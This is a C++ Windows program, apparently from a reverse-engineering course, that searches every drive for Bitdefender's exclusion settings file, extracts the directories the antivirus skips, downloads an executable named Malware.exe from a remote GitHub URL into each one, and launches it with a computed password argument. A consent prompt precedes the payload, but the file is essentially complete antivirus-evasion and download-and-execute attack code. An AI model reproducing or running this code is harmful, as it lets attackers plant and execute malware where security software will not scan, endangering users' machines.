#include <iostream>
#include <string>
#include <fstream>
#include <filesystem>
#include <vector>
#include <urlmon.h>
#include <string>
#pragma comment(lib, "urlmon.lib")

void Lowercase(std::string& str) {
	std::transform(str.begin(), str.end(), str.begin(), [](unsigned char c) { return std::tolower(c); });
}

// Download the file from a specified url and save it to a specified location with a specified name.
void DownloadFile(std::string url, std::string saveLoc, std::string fileName) {
	saveLoc += "\\" + fileName;
	HRESULT hr;
	LPCTSTR downFrom = url.c_str();
	LPCTSTR downTo = saveLoc.c_str();
	hr = URLDownloadToFile(0, downFrom, downTo, 0, 0);
}

// Go over all drives looking for the exclusion file:
void EnumerateDrives(std::string& fileLoc, std::ifstream& filestream) {
	char drive;

	// Iterate through all drives (A-Z):
	for (int i = 0; i < 26 || !filestream.is_open(); i++) {
		drive = i + 65; // +65 to get ASCII A-...
		fileLoc[0] = drive;
		std::ifstream filestream(fileLoc);
		if (filestream.is_open()) {
			filestream.open(fileLoc);
			break;
		}
	}
}

// Parse the exclusion file for all exclusions and put the results in the exclusions vector:
void FindExclusions(std::ifstream& filestream, std::vector<std::string>& exclusions) {
	std::string line;
	std::size_t found;

	if (filestream.is_open()) {
		// Iterate line by line:
		while (std::getline(filestream, line)) {
			// Only get lines with "ExcludeItem" in them:
			found = line.find("ExcludeItem");
			if (found != std::string::npos) {
				// Remove opening tag and everything before it:
				found = line.find(':');
				line.erase(0, found - 1);
				// Remove the closing tag and everything after it:
				found = line.find('<');
				line.erase(found, line.length());
				// Add to vector:
				if (std::experimental::filesystem::is_directory(line)) {
					exclusions.push_back(line);
				}
			}
		}
	}
}

int main() {
	// Warning:
	std::string agree;
	std::cout << "THIS PROGRAM PERFORMS ACTIONS THAT COULD BE CONSIDERED MALICIOUS." << std::endl;
	std::cout << "BY ANSWERING YES (y!) TO THE FOLLOWING QUESTION YOU AGREE THAT YOU ARE TAKING FULL RESPONSABILITY FOR THE ACTIONS THIS PROGRAM WILL CONDUCT." << std::endl;
	std::cout << "RUN THE PROGRAM? (y!/n): ";
	std::cin >> agree;
	if (agree != "y!") {
		return -1;
	}

	// Location of the excluded files. The program will iterate over every drive, which is why the following string specifies the A drive.
	std::string fileLoc = "A:\\Program Files\\Bitdefender\\Bitdefender Security\\settings\\system\\ExcludeMgr.xml";

	std::string fileName = "Malware.exe";	// The name the file is given when it's downloaded.
	std::ifstream excludeMgr;				// Ifstream handler.
	std::vector<std::string> exclusions;	// Vector of exclusion locations.

	EnumerateDrives(fileLoc, excludeMgr);

	excludeMgr.open(fileLoc);
	FindExclusions(excludeMgr, exclusions);

	// Download and exec malware in locations:
	for (auto i : exclusions) {
		DownloadFile("https://github.com/0xZ0F/Z0FCourse_ReverseEngineering/blob/master/_DOC/%5Bignore%5D/Malware.exe?raw=true", i, fileName);

		std::string full = (i + "\\" + fileName);
		Lowercase(full);
		std::string exec = "\"" + full + "\"";
		std::string pass;

		// Password is the exe path in reverse with shift of -1.
		for (size_t i = full.length(); i--;) {
			pass.push_back((const char)(full[i] - 1));
		}
		exec += " \"" + pass + "\"";

		WinExec((LPSTR)exec.c_str(), SW_SHOWNORMAL);
	}
	return 0;
}